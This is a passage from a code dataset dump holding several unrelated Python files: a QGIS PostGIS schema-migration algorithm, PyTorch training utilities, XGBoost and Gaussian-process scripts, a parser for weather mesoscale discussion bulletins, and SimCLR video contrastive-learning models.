\"stack1_component1.tif\":\n time.sleep(0.5)\n return super().do_calculation(calculation)\n\n\nclass TestSheetData:\n def test_create(self):\n cols = [(\"aa\", \"nm\"), (\"bb\", \"nm\")]\n sheet_data = SheetData(\"test_name\", cols)\n assert \"test_name\" in repr(sheet_data)\n assert str(cols) in repr(sheet_data)\n assert \"wait_rows=0\" in repr(sheet_data)\n\n def test_add_data(self):\n cols = [(\"aa\", \"nm\"), (\"bb\", \"nm\")]\n sheet_data = SheetData(\"test_name\", cols)\n with pytest.raises(ValueError, match=\"Wrong number of columns\"):\n sheet_data.add_data([\"aa\", 1, 2, 3], None)\n\n with pytest.raises(ValueError, match=\"Wrong number of columns\"):\n sheet_data.add_data([\"aa\", 1], None)\n\n sheet_data.add_data([\"aa\", 1, 2], None)\n assert \"wait_rows=1\" in repr(sheet_data)\n\n assert sheet_data.get_data_to_write()[0] == \"test_name\"\n assert \"wait_rows=0\" in repr(sheet_data)\n","sub_path":"package/tests/test_PartSegCore/test_analysis_batch.py","file_name":"test_analysis_batch.py","file_ext":"py","file_size_in_byte":32803,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"92210345","text":"\"\"\"\nCreated on Tue May 26 17:13:50 2020\n\n@author: enolasengeissen\n\"\"\"\n\n__copyright__ = \"Copyright 2020, 3Liz\"\n__license__ = \"GPL version 3\"\n__email__ = \"info@3liz.org\"\n__revision__ = \"$Format:%H$\"\n\nimport os\n\nfrom qgis.core import (\n QgsProcessingException,\n QgsProcessingParameterString,\n QgsProcessingParameterBoolean,\n QgsProcessingOutputNumber,\n QgsProcessingOutputString,\n QgsExpressionContextUtils,\n)\n\nfrom ...qgis_plugin_tools.tools.algorithm_processing import BaseProcessingAlgorithm\nfrom ...qgis_plugin_tools.tools.database import (\n available_migrations,\n fetch_data_from_sql_query,\n)\nfrom ...qgis_plugin_tools.tools.i18n import tr\nfrom ...qgis_plugin_tools.tools.resources import plugin_path\nfrom ...qgis_plugin_tools.tools.version import format_version_integer, version\n\nSCHEMA = \"veloroutes\"\n\n\nclass UpgradeDatabaseStructure(BaseProcessingAlgorithm):\n\n CONNECTION_NAME = \"CONNECTION_NAME\"\n RUN_MIGRATIONS = \"RUN_MIGRATIONS\"\n OUTPUT_STATUS = \"OUTPUT_STATUS\"\n OUTPUT_STRING = \"OUTPUT_STRING\"\n\n def name(self):\n return \"upgrade_database_structure\"\n\n def displayName(self):\n return tr(\"Mise à jour de la structure de la base\")\n\n def group(self):\n return tr(\"Structure\")\n\n def groupId(self):\n return \"veloroutes_structure\"\n\n def shortHelpString(self):\n return tr(\n \"Mise à jour de la base de données suite à une nouvelle version de l'extension.\"\n )\n\n def initAlgorithm(self, config):\n # INPUTS\n connection_name = QgsExpressionContextUtils.globalScope().variable(\n \"veloroutes_connection_name\"\n )\n db_param_a = QgsProcessingParameterString(\n self.CONNECTION_NAME,\n tr(\"Connexion PostgreSQL vers la base de données\"),\n defaultValue=connection_name,\n optional=False,\n )\n db_param_a.setMetadata(\n {\n \"widget_wrapper\": {\n \"class\": \"processing.gui.wrappers_postgis.ConnectionWidgetWrapper\"\n }\n }\n )\n self.addParameter(db_param_a)\n\n self.addParameter(\n QgsProcessingParameterBoolean(\n self.RUN_MIGRATIONS,\n tr(\"Cocher cette option pour lancer la mise-à-jour.\"),\n defaultValue=False,\n optional=False,\n )\n )\n # OUTPUTS\n self.addOutput(\n QgsProcessingOutputNumber(self.OUTPUT_STATUS, tr(\"Output status\"))\n )\n self.addOutput(\n QgsProcessingOutputString(self.OUTPUT_STRING, tr(\"Output message\"))\n )\n\n def checkParameterValues(self, parameters, context):\n # Check if run migrations is checked\n run_migrations = self.parameterAsBool(parameters, self.RUN_MIGRATIONS, context)\n if not run_migrations:\n msg = tr(\"Vous devez cocher cette case pour réaliser la mise à jour !\")\n return False, msg\n\n # Check database content\n ok, msg = self.checkSchema(parameters, context)\n if not ok:\n return False, msg\n\n return super().checkParameterValues(parameters, context)\n\n def checkSchema(self, parameters, context):\n _ = context\n sql = \"\"\"\n SELECT schema_name\n FROM information_schema.schemata\n WHERE schema_name = '{}';\n \"\"\".format(\n SCHEMA\n )\n connection_name = self.parameterAsString(\n parameters, self.CONNECTION_NAME, context\n )\n _, data, _, ok, error_message = fetch_data_from_sql_query(connection_name, sql)\n if not ok:\n return ok, error_message\n\n ok = False\n msg = tr(\"Le schéma {} n'existe pas dans la base de données !\").format(SCHEMA)\n for a in data:\n schema = a[0]\n if schema == SCHEMA:\n ok = True\n msg = \"\"\n return ok, msg\n\n def processAlgorithm(self, parameters, context, feedback):\n connection_name = self.parameterAsString(\n parameters, self.CONNECTION_NAME, context\n )\n\n # Drop schema if needed\n run_migrations = self.parameterAsBool(parameters, self.RUN_MIGRATIONS, context)\n if not run_migrations:\n msg = tr(\"Vous devez cocher cette case pour réaliser la mise à jour !\")\n raise QgsProcessingException(msg)\n\n # Get database version\n sql = \"\"\"\n SELECT me_version\n FROM {}.metadata\n WHERE me_status = 1\n ORDER BY me_version_date DESC\n LIMIT 1;\n \"\"\".format(\n SCHEMA\n )\n _, data, _, ok, error_message = fetch_data_from_sql_query(connection_name, sql)\n if not ok:\n raise QgsProcessingException(error_message)\n\n db_version = None\n for a in data:\n db_version = a[0]\n if not db_version:\n error_message = tr(\"Aucune version trouvée dans la base de données !\")\n raise QgsProcessingException(error_message)\n\n feedback.pushInfo(\n tr(\"Version de la base de données\") + \" = {}\".format(db_version)\n )\n\n # Get plugin version\n plugin_version = version()\n if plugin_version in [\"master\", \"dev\"]:\n migrations = available_migrations(000000)\n last_migration = migrations[-1]\n plugin_version = (\n last_migration.replace(\"upgrade_to_\", \"\").replace(\".sql\", \"\").strip()\n )\n feedback.reportError(\n \"Be careful, running the migrations on a development branch!\"\n )\n feedback.reportError(\n \"Latest available migration is {}\".format(plugin_version)\n )\n else:\n feedback.pushInfo(tr(\"Version du plugin\") + \" = {}\".format(plugin_version))\n\n # Return if nothing to do\n if db_version == plugin_version:\n return {\n self.OUTPUT_STATUS: 1,\n self.OUTPUT_STRING: tr(\n \" La version de la base de données et du plugin sont les mêmes. \"\n \"Aucune mise-à-jour n'est nécessaire\"\n ),\n }\n\n db_version_integer = format_version_integer(db_version)\n sql_files = available_migrations(db_version_integer)\n\n # Loop sql files and run SQL code\n for sf in sql_files:\n sql_file = os.path.join(plugin_path(), \"install/sql/upgrade/{}\".format(sf))\n with open(sql_file, \"r\") as f:\n sql = f.read()\n if len(sql.strip()) == 0:\n feedback.pushInfo(\"* \" + sf + \" -- NON TRAITÉ (FICHIER VIDE)\")\n continue\n\n # Add SQL database version in veloroutes.metadata\n new_db_version = (\n sf.replace(\"upgrade_to_\", \"\").replace(\".sql\", \"\").strip()\n )\n feedback.pushInfo(\"* NOUVELLE VERSION BDD \" + new_db_version)\n sql += \"\"\"\n UPDATE {}.metadata\n SET (me_version, me_version_date)\n = ( '{}', now()::timestamp(0) );\n \"\"\".format(\n SCHEMA, new_db_version\n )\n\n _, _, _, ok, error_message = fetch_data_from_sql_query(\n connection_name, sql\n )\n if not ok:\n raise QgsProcessingException(error_message)\n\n feedback.pushInfo(\"* \" + sf + \" -- OK !\")\n\n # Everything is fine, we now update to the plugin version\n sql = \"\"\"\n UPDATE {}.metadata\n SET (me_version, me_version_date)\n = ( '{}', now()::timestamp(0) );\n \"\"\".format(\n SCHEMA, plugin_version\n )\n\n _, _, _, ok, error_message = fetch_data_from_sql_query(connection_name, sql)\n if not ok:\n raise QgsProcessingException(error_message)\n\n msg = tr(\"*** LA STRUCTURE A BIEN ÉTÉ MISE À JOUR SUR LA BASE DE DONNÉES ***\")\n feedback.pushInfo(msg)\n\n return {self.OUTPUT_STATUS: 1, self.OUTPUT_STRING: msg}\n","sub_path":"veloroutes_voies_vertes/processing/structure/upgrade_database_structure.py","file_name":"upgrade_database_structure.py","file_ext":"py","file_size_in_byte":8206,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"402682140","text":"# -*- coding:utf-8 -*- \n'''\n * @Author: wjm \n * @Date: 2019-06-14 11:37:40 \n * @Last Modified by: wjm \n * @Last Modified time: 2019-06-14 11:37:40 \n * @Desc: \n'''\nimport os\nimport time\nimport datetime\nimport torch\nimport math\n\ndef get_path(subdir):\n return os.path.join(subdir)\n\ndef save_config(args):\n now = datetime.datetime.now().strftime('%Y-%m-%d-%H:%M:%S')\n open_type = 'a' if os.path.exists(get_path('./log/config.txt'))else 'w'\n with open(get_path('./log/config.txt'), open_type) as f:\n f.write(now + '\\n\\n')\n for arg in vars(args):\n f.write('{}: {}\\n'.format(arg, getattr(args, arg)))\n f.write('\\n')\n\ndef write_log(log, refresh=False):\n print(log)\n# now = datetime.datetime.now().strftime('%Y-%m-%d-%H:%M:%S')\n open_type = 'a' if os.path.exists(get_path('./log/log.txt'))else 'w'\n log_file = open(get_path('./log/log.txt'), open_type)\n# log_file.write(now + '\\n\\n')\n log_file.write(str(log) + '\\n')\n if refresh:\n log_file.close()\n log_file = open(get_path('./log/log.txt'), 'a')\n\ndef checkpoint(opt, epoch, model):\n if not os.path.exists(opt.save_folder):\n os.mkdir(opt.save_folder)\n# model_out_path = opt.save_folder+'/'+opt.model_type+\"_epoch_{}.pth\".format(epoch)\n model_out_path = opt.save_folder+'/'+opt.model_type+\"_epoch_{}.pth\".format(epoch)\n torch.save(model.state_dict(), model_out_path)\n log = \"Checkpoint saved to {}\".format(model_out_path)\n write_log(log)\n\ndef checkpoint_best(opt, epoch, model):\n if not os.path.exists(opt.save_folder):\n os.mkdir(opt.save_folder)\n# model_out_path = opt.save_folder+'/'+opt.model_type+\"_epoch_{}.pth\".format(epoch)\n model_out_path = opt.save_folder+'/Best.pth'\n torch.save(model.state_dict(), model_out_path)\n log = \"Checkpoint saved to {}\".format(model_out_path)\n write_log(log)\n\ndef check_opt(opt):\n if not os.path.exists('log'):\n os.mkdir('log')\n if not os.path.exists(opt.save_folder):\n os.mkdir(opt.save_folder)\n if os.listdir(opt.save_folder) and not opt.pretrained:\n raise ValueError('The save_folder is not empty!')\n if opt.pretrained and not os.path.exists(opt.pretrained_mode_folder):\n raise ValueError('The pretrained_mode is needed!')\n if not os.path.exists(os.path.join(opt.data_dir,opt.hr_train_dataset)):\n raise ValueError('The hr_train_dataset is needed!')\n if not os.path.exists(os.path.join(opt.data_dir,opt.hr_valid_dataset)):\n raise ValueError('The hr_valid_dataset is needed!') \n ","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2553,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"463650697","text":"import pandas\nfrom xgboost import XGBClassifier\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import accuracy_score\nfrom sklearn import preprocessing\n\n\ndef standardize(data):\n \"\"\"\n This standardizes the data into the MinMaxReduced version used for model creation\n \"\"\"\n columns = data.columns.values[0:len(data.columns.values)]\n # Create the Scaler object\n scaler = preprocessing.MinMaxScaler()\n # Fit your data on the scaler object\n dataScaled = scaler.fit_transform(dataset)\n dataScaled = pandas.DataFrame(dataScaled, columns=columns)\n return dataScaled\n\n\ndataset = pandas.read_csv(\"../Data/High School Football Data_cleaned.csv\")\ndataset = dataset.drop(['ID'], axis=1)\n\ndataset = standardize(dataset)\n\n# Creating X and Y. Accident is the first column, therefore it is 0.\nX = dataset.iloc[:, 1:(len(dataset.columns) + 1)].values # Our independent variables\nY = dataset.iloc[:, 0].values # Our dependent variable\n\nX_train, X_test, y_train, y_test = train_test_split(X, Y, test_size=.30, random_state=7)\n# fit model no training data\nmodel = XGBClassifier()\nmodel.fit(X_train, y_train)\n# make predictions for test data\ny_pred = model.predict(X_test)\npredictions = [round(value) for value in y_pred]\n# evaluate predictions\naccuracy = accuracy_score(y_test, predictions)\nprint(\"Accuracy: %.2f%%\" % (accuracy * 100.0))\n","sub_path":"Code/XGBoost.py","file_name":"XGBoost.py","file_ext":"py","file_size_in_byte":1374,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"307886201","text":"class Conference:\n conference_num = 0\n\n def __init__(self, name=\"default_name\",\n members_num=0,\n ticket_price=0,\n place=\"default_place\",\n topic=\"default_topic\",\n duration=\"default_duration\",\n speakers_num=0):\n self.name = name\n self.members_num = members_num\n self.ticket_price = ticket_price\n self.place = place\n self.topic = topic\n self.duration = duration\n self.speakers_num = speakers_num\n\n def get_object_string(self):\n return str(self.__dict__)\n\n @staticmethod\n def get_conference_num():\n return Conference.conference_num\n\n def __del__(self):\n print(self.name, \"deleted\")\n","sub_path":"Conference.py","file_name":"Conference.py","file_ext":"py","file_size_in_byte":770,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"477492389","text":"from __future__ import print_function\nimport sys\nimport numpy as np\nfrom datetime import datetime as dt\nfrom sklearn.gaussian_process import GaussianProcessRegressor as GPR\nfrom preprocess import read_data, data2grid, take_n_last_days\n\ndef test(model, X_test, y_test):\n print('Testing...', end='')\n sys.stdout.flush()\n score = model.score(X_test, y_test)\n print(' R-squared: %f' % score)\n return score\n\ndef train_and_test(X, y):\n #scaler = preprocessing.StandardScaler().fit(X)\n #X = scaler.transform(X)\n #yesterday = scaler.transform([[0,0,int(dt.utcnow().strftime('%s'))-(3600*24)]])[0][2]\n minx = np.min(X)\n X = (X-np.min(X))/3600\n yesterday = (int(dt.utcnow().strftime('%s'))-(3600*24)-minx)/3600\n #time = X[:,2]\n X_train = X[X < yesterday]\n X_test = X[X >= yesterday]\n y_train = y[X < yesterday]\n y_test = y[X >= yesterday]\n if len(X_test) == 0:\n print('zero sized test set, skipping')\n return None\n if len(X_train) == 0:\n print('zero sized train set, skipping')\n return None\n\n\n gpr = GPR(normalize_y=True, copy_X_train=False, n_restarts_optimizer=10, alpha=0.001)\n print('Training (n train %d, n test %d)...' % (len(X_train),len(X_test)), end='')\n sys.stdout.flush()\n model = gpr.fit(X_train.reshape(-1,1), y_train)\n print(' Done')\n\n score = test(model, X_test.reshape(-1,1), y_test)\n\n return (model, score, len(X_train))\n\ndata = read_data()\n\ndays = 2\ndata = take_n_last_days(data, days)\ngrid = data2grid(data)\n\nmodels = [[None]*180]*90\nscores = np.zeros([1,2])\nfor x in list(enumerate(grid)):\n for y in list(enumerate(x[1])):\n d = y[1]\n if len(d) == 0:\n continue\n print('(%d, %d)' % (x[0]*2-90, y[0]*2-180))\n curmod = train_and_test(d[:,2], d[:,3])\n if curmod:\n models[x[0]][y[0]] = curmod\n scores = np.append(scores, [[curmod[1], curmod[2]]], axis=0)\n\nscores = np.delete(scores, 0, axis=0)\nprint(' Done')\nprint('')\nprint('used last %d days of data for training' % days)\nprint('models trained: %d' % len(scores))\nprint('avg train set size per model: %f, min %d, max %d' % (np.mean(scores[:,1]), np.min(scores[:,1]), np.max(scores[:,1])))\nprint('total R-squared median: %f' % np.median(scores[:,0]))\n\n#data = data[data[:,0].argsort()] # sort by latitude\n#data = np.array_split(data, n_models, axis=0)\n#metadata = np.asarray([(a.min(axis=0)[0],a.max(axis=0)[0]) for a in data])\n#data = data[data[:,2].argsort()] # sort by time\n","sub_path":"backend/traingaussian-grid.py","file_name":"traingaussian-grid.py","file_ext":"py","file_size_in_byte":2506,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"435652829","text":"'''\n Supports parsing of Storm Prediction Center's MCD and\n parsing of Weather Prediction Center's MPD\n'''\nimport re\nimport cgi\n\nfrom pyiem.nws.product import TextProduct\nfrom shapely.geometry import Polygon as ShapelyPolygon\nfrom shapely.geometry import MultiPolygon\n\nLATLON = re.compile(r\"LAT\\.\\.\\.LON\\s+((?:[0-9]{8}\\s+)+)\")\nDISCUSSIONNUM = re.compile(r\"MESOSCALE (?:PRECIPITATION )?DISCUSSION\\s+([0-9]+)\")\nATTN_WFO = re.compile(r\"ATTN\\.\\.\\.WFO\\.\\.\\.([\\.A-Z]*?)(?:LAT\\.\\.\\.LON|ATTN\\.\\.\\.RFC)\")\nATTN_RFC = re.compile(r\"ATTN\\.\\.\\.RFC\\.\\.\\.([\\.A-Z]*)\")\nWATCH_PROB = re.compile(r\"PROBABILITY OF WATCH ISSUANCE\\s?\\.\\.\\.\\s?([0-9]+) PERCENT\")\n\nclass MCDException(Exception):\n ''' Exception '''\n pass\n\nclass MCDProduct( TextProduct ):\n '''\n Represents a Storm Prediction Center Mesoscale Convective Discussion\n '''\n \n def __init__(self, text):\n ''' constructor '''\n TextProduct.__init__(self, text)\n self.geometry = self.parse_geometry()\n self.discussion_num = self.parse_discussion_num()\n self.attn_wfo = self.parse_attn_wfo()\n self.attn_rfc = self.parse_attn_rfc()\n self.areas_affected = self.parse_areas_affected()\n self.watch_prob = self.find_watch_probability()\n \n def find_watch_probability(self):\n ''' Find the probability of watch issuance for SPC MCD'''\n tokens = WATCH_PROB.findall( self.unixtext.replace(\"\\n\", \"\"))\n if len(tokens) == 0:\n return None\n return int(tokens[0])\n \n def tweet(self):\n ''' Return twitter message '''\n charsleft = 140 - 22 # default safe 22 for t.co shortening\n if self.afos == 'SWOMCD':\n center = 'SPC'\n else:\n center = 'WPC'\n prob_extra = \"\"\n if self.watch_prob is not None:\n prob_extra = \" [watch prob: %.0f%%]\" % (self.watch_prob,)\n attempt = \"#%s issues %s %s%s: %s \" % (center, self.afos[3:], \n self.discussion_num, prob_extra, \n self.areas_affected)\n return \"%s%s\" % (attempt[:charsleft], self.get_url())\n \n def get_url(self):\n ''' Return the URL for SPC's website '''\n if self.afos == 'SWOMCD':\n return \"http://www.spc.noaa.gov/products/md/%s/md%04i.html\" % (\n self.valid.year, self.discussion_num)\n else:\n return ('http://www.wpc.ncep.noaa.gov/metwatch/'\n +'metwatch_mpd_multi.php?md=%s&yr=%s') % (\n self.discussion_num,\n self.valid.year)\n \n def parse_areas_affected(self):\n ''' Return the areas affected '''\n sections = self.unixtext.split(\"\\n\\n\")\n for section in sections:\n if section.strip().find(\"AREAS AFFECTED...\") == 0:\n return section[17:].replace(\"\\n\", \" \")\n return None\n\n def get_jabbers(self, uri):\n ''' Return plain text and html variants for a Jabber msg '''\n # convert htmlentities\n spcuri = cgi.escape( self.get_url() )\n center = 'Storm Prediction Center'\n pextra = ''\n if self.afos == 'FFGMPD':\n center = 'Weather Prediction Center'\n pextra = 'Precipitation '\n prob_extra = \"\"\n if self.watch_prob is not None:\n prob_extra = \"[watch probability: %.0f%%] \" % (self.watch_prob,)\n plain = \"%s issues Mesoscale %sDiscussion #%s%s %s\" % (center, pextra,\n self.discussion_num,\n prob_extra,\n spcuri)\n html = ('

%s issues '\n +'Mesoscale %sDiscussion #%s %s'\n +'(View text)

') % (center, spcuri, pextra,\n self.discussion_num,\n prob_extra, uri,\n self.get_product_id()\n )\n return plain, html\n\n def parse_attn_rfc(self):\n ''' FIgure out which RFCs this product is seeking attention '''\n tokens = ATTN_RFC.findall( self.unixtext.replace(\"\\n\", \"\"))\n if len(tokens) == 0:\n return []\n return re.findall(\"([A-Z]{5})\", tokens[0])\n\n def parse_attn_wfo(self):\n ''' FIgure out which WFOs this product is seeking attention '''\n tokens = ATTN_WFO.findall( self.unixtext.replace(\"\\n\", \"\"))\n if len(tokens) == 0:\n raise MCDException('Could not parse attention WFOs')\n return re.findall(\"([A-Z]{3})\", tokens[0])\n \n def parse_discussion_num(self):\n ''' Figure out what discussion number this is '''\n tokens = DISCUSSIONNUM.findall( self.unixtext )\n if len(tokens) == 0:\n raise MCDException('Could not parse discussion number')\n return int(tokens[0])\n \n def parse_geometry(self):\n ''' Find the polygon that's in this MCD product '''\n tokens = LATLON.findall( self.unixtext.replace(\"\\n\", \" \"))\n if len(tokens) == 0:\n raise MCDException('Could not parse LAT...LON geometry')\n pts = []\n for pair in tokens[0].split():\n lat = float(pair[:4]) / 100.0\n lon = 0 - float(pair[4:]) / 100.0\n if lon > -40:\n lon = lon - 100.0\n pts.append( (lon, lat) )\n return ShapelyPolygon(pts)\n \n def find_cwsus(self, txn):\n ''' \n Provided a database transaction, go look for CWSUs that \n overlap the discussion geometry.\n ST_Overlaps do the geometries overlap\n ST_Covers does polygon exist inside CWSU\n '''\n wkt = 'SRID=4326;%s' % (self.geometry.wkt,)\n sql = \"\"\"select distinct id from cwsu WHERE \n st_overlaps('%s', geom) or \n st_covers(geom, '%s') ORDER by id ASC\"\"\" % (wkt, wkt)\n txn.execute(sql)\n cwsu = []\n for row in txn:\n cwsu.append( row[0] )\n return cwsu\n \n def database_save(self, txn):\n ''' Save this product to the database '''\n giswkt = \"SRID=4326;%s\" % (MultiPolygon([self.geometry]).wkt,)\n sql = \"\"\"INSERT into text_products(product, product_id, geom) \n values (%s, %s, %s)\"\"\"\n args = (self.text, self.get_product_id(), giswkt)\n txn.execute(sql, args)\n \ndef parser(text, utcnow=None, ugc_provider=None, nwsli_provider=None):\n ''' Helper function '''\n return MCDProduct( text )","sub_path":"pyiem/nws/products/mcd.py","file_name":"mcd.py","file_ext":"py","file_size_in_byte":6795,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"10201107","text":"import sys\nimport math\nimport random\nimport numpy as np\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.distributed as dist\nimport torchvision\nimport itertools\nfrom IPython import embed\n\nsys.path.append('../')\nfrom backbone.select_backbone import select_backbone\n\nfrom utils.utils import GatherLayer\nfrom utils.soft_dtw_cuda import SoftDTW\n\nclass SimCLR_Naked(nn.Module):\n '''\n Basically, it's a MoCo for video input: https://arxiv.org/abs/1911.05722\n '''\n def __init__(self, network='s3d', dim=128, T=0.07, distributed=True, nonlinear=True):\n '''\n dim: feature dimension (default: 128)\n K: queue size; number of negative keys (default: 2048)\n m: moco momentum of updating key encoder (default: 0.999)\n T: softmax temperature (default: 0.07)\n '''\n super(SimCLR_Naked, self).__init__()\n\n self.dim = dim\n self.distributed = distributed\n self.T = T\n\n # assert not distributed, 'distributed simclr is not supported yet'\n self.nonlinear = nonlinear\n\n # create the encoders (including non-linear projection head: 2 FC layers)\n backbone, self.param = select_backbone(network)\n feature_size = self.param['feature_size']\n self.encoder_q = nn.ModuleList([\n backbone,\n nn.AdaptiveAvgPool3d((1, 1, 1))])\n if nonlinear:\n self.encoder_q.extend([\n nn.Conv3d(feature_size, feature_size, kernel_size=1, bias=True),\n nn.ReLU(),\n nn.Conv3d(feature_size, dim, kernel_size=1, bias=True)\n ])\n\n self.criterion = nn.CrossEntropyLoss()\n\n # Notes: for handling sibling videos, e.g. for UCF101 dataset\n\n def calc_contrast_loss(self, features, n_views=2, prefix='clip_'):\n # input features is normed features\n assert len(features.size()) == 3, features.size()\n B, N, dim = features.size()\n assert N == n_views and dim == self.dim, features.size()\n # distributed gathering\n if self.distributed:\n features = torch.cat(GatherLayer.apply(features), dim=0)\n N = features.size(0)\n features = features.view(N, n_views, dim).permute(1,0,2).contiguous().view(n_views*N, dim)# (2N)xd\n # assert features.size(0) % 2 == 0\n # N = features.size(0)// n_views\n labels = torch.cat([torch.arange(N) for i in range(n_views)], dim=0) # (2, N) -> (2*N,)\n labels = (labels.unsqueeze(0) == labels.unsqueeze(1)).float() # (2B, 2B)\n labels = labels.cuda()\n\n similarity_matrix = torch.matmul(features, features.T) # (2B,2B)\n\n # discard the main diagonal from both: labels and similarities matrix\n mask = torch.eye(labels.shape[0], dtype=torch.bool).cuda()\n labels = labels[~mask].view(labels.shape[0], -1) # (2B, 2B-1)\n similarity_matrix = similarity_matrix[~mask].view(similarity_matrix.shape[0], -1) # (2B, 2B-1)\n # assert similarity_matrix.shape == labels.shape\n\n # select and combine multiple positives\n positives = similarity_matrix[labels.bool()].view(labels.shape[0], -1)\n\n # select only the negatives the negatives\n negatives = similarity_matrix[~labels.bool()].view(similarity_matrix.shape[0], -1)\n\n logits = torch.cat([positives, negatives], dim=1)\n labels = torch.zeros(logits.shape[0]).long().cuda()\n\n logits = logits / self.T\n\n contrast_loss = self.criterion(logits, labels)\n\n ret = {\n f\"{prefix}logits\": logits,\n f\"{prefix}labels\": labels,\n f\"{prefix}contrast_loss\": contrast_loss\n }\n\n return ret\n\n def forward(self, block):\n '''\n modified from simCLR\n https://github.com/sthalles/SimCLR/blob/1848fc934ad844ae630e6c452300433fe99acfd9/simclr.py#L26\n '''\n B = block.size(0)\n\n (batch_size, n_views, *_) = block.shape # [B,N,C,T,H,W]\n assert n_views == 2\n x = block.view(-1, *(block.size()[2:])) # (B*n, ...)\n features = x\n for i, mod in enumerate(self.encoder_q):\n features = mod(features)\n if i == 1:\n backbone_features = features\n\n features = F.normalize(features, dim=1).squeeze().view(B, n_views, self.dim)\n\n ret = self.calc_contrast_loss(features, n_views, 'clip_')\n\n return ret\n\n def get_features(self, block):\n B, C, T, H, W = block.size()\n _, feature_list = self.encoder_q[0](block, ret_frame_feature=True, multi_level=True)\n attn_list = [feature.mean(dim=1) for feature in feature_list]\n return attn_list\n\n\nclass SimCLR_TimeSeriesV4(nn.Module):\n '''\n Basically, it's a MoCo for video input: https://arxiv.org/abs/1911.05722\n '''\n\n def __init__(self, network='s3d', dim=128, T=0.07, distributed=True, nonlinear=True, n_series=2, series_dim=64,\n series_T=0.07, aligned_T=0.07, mode=\"clip-sr-tc\", args=None):\n '''\n dim: feature dimension (default: 128)\n K: queue size; number of negative keys (default: 2048)\n m: moco momentum of updating key encoder (default: 0.999)\n T: softmax temperature (default: 0.07)\n '''\n super(SimCLR_TimeSeriesV4, self).__init__()\n\n self.cnt = 0\n self.args = args\n self.dim = dim\n self.distributed = distributed\n self.T = T\n # assert not distributed, 'distributed simclr is not supported yet'\n self.nonlinear = nonlinear\n self.n_series = n_series\n self.series_dim = series_dim\n self.series_T = series_T\n self.aligned_T = aligned_T\n self.mode = mode\n self.with_clip = 'clip' in mode\n self.with_sr = 'sr' in mode\n self.with_tc = 'tc' in mode\n\n # create the encoders (including non-linear projection head: 2 FC layers)\n backbone, self.param = select_backbone(network)\n feature_size = self.param['feature_size']\n self.encoder_q = nn.ModuleList([\n backbone,\n nn.AdaptiveAvgPool3d((1, 1, 1))])\n if nonlinear and self.with_clip:\n self.encoder_q.extend([\n nn.Conv3d(feature_size, feature_size, kernel_size=1, bias=True),\n nn.ReLU(),\n nn.Conv3d(feature_size, dim, kernel_size=1, bias=True)\n ])\n\n self.criterion = nn.CrossEntropyLoss()\n\n self.series_proj_head = nn.Sequential(\n nn.Conv3d(feature_size, feature_size, kernel_size=1, bias=True),\n nn.ReLU(),\n nn.Conv3d(feature_size, series_dim*self.n_series, kernel_size=1, bias=True)\n )\n # Notes: for handling sibling videos, e.g. for UCF101 dataset\n\n def calc_clip_contrast_loss(self, features, n_views=2, prefix='clip_'):\n # input features is normed features\n assert len(features.size()) == 3, features.size()\n B, N, dim = features.size()\n assert N == n_views , features.size()\n # distributed gathering\n N = B\n if self.distributed:\n features = torch.cat(GatherLayer.apply(features), dim=0)\n N = features.size(0)\n features = features.view(N, n_views, dim).permute(1,0,2).contiguous().view(n_views*N, dim)# (2N)xd\n else:\n features = features.permute(1,0,2).contiguous().view(n_views*B, dim)\n # assert features.size(0) % 2 == 0\n # N = features.size(0)// n_views\n labels = torch.cat([torch.arange(N) for i in range(n_views)], dim=0) # (2, N) -> (2*N,)\n labels = (labels.unsqueeze(0) == labels.unsqueeze(1)).float() # (2B, 2B)\n labels = labels.cuda()\n\n similarity_matrix = torch.matmul(features, features.T) # (2B,2B)\n\n # discard the main diagonal from both: labels and similarities matrix\n mask = torch.eye(labels.shape[0], dtype=torch.bool).cuda()\n labels = labels[~mask].view(labels.shape[0], -1) # (2B, 2B-1)\n similarity_matrix = similarity_matrix[~mask].view(similarity_matrix.shape[0], -1) # (2B, 2B-1)\n # assert similarity_matrix.shape == labels.shape\n\n # select and combine multiple positives\n positives = similarity_matrix[labels.bool()].view(labels.shape[0], -1)\n\n # select only the negatives the negatives\n negatives = similarity_matrix[~labels.bool()].view(similarity_matrix.shape[0], -1)\n\n logits = torch.cat([positives, negatives], dim=1)\n labels = torch.zeros(logits.shape[0]).long().cuda()\n\n logits = logits / self.T\n\n contrast_loss = self.criterion(logits, labels)\n\n ret = {\n f\"{prefix}logits\": logits,\n f\"{prefix}labels\": labels,\n f\"{prefix}contrast_loss\": contrast_loss\n }\n\n return ret\n\n def calc_ranking_loss(self, features, n_views=2, prefix='ranking_', weight=1.):\n '''\n corresponding shuffled features should be the same\n while also surpasing the second highest features by margin (hyperparam) = 0\n '''\n # input features is normed features\n assert len(features.size()) == 4, features.size()\n Bn, n_series, N, dim = features.size()\n assert n_series == self.n_series\n assert N == n_views and dim == self.series_dim, features.size()\n\n labels = torch.cat([torch.arange(n_series) for i in range(n_views)], dim=0) # (2, n_series) -> (2*n_Series,)\n labels = (labels.unsqueeze(0) == labels.unsqueeze(1)).float() # (2s, 2s)\n labels = labels.cuda()\n\n features = features.permute(0,2,1,3).contiguous().view(Bn, n_views*n_series, dim)\n\n similarity_matrix = torch.bmm(features, features.transpose(2,1).contiguous()) # (bn, 2s, 2s)\n\n # discard the main diagonal from both: labels and similarities matrix\n mask = torch.eye(labels.shape[0], dtype=torch.bool).cuda().unsqueeze(0).expand_as(similarity_matrix)\n corr_mask_1 = torch.cat([torch.zeros(n_series, n_series), torch.eye(n_series)], dim=1)\n corr_mask_2 = torch.cat([torch.eye(n_series), torch.zeros(n_series, n_series)], dim=1)\n corr_mask = torch.cat([corr_mask_1, corr_mask_2]).cuda().bool().unsqueeze(0).expand_as(similarity_matrix)\n left_mask = ~(mask | corr_mask)\n\n highest_similarity = 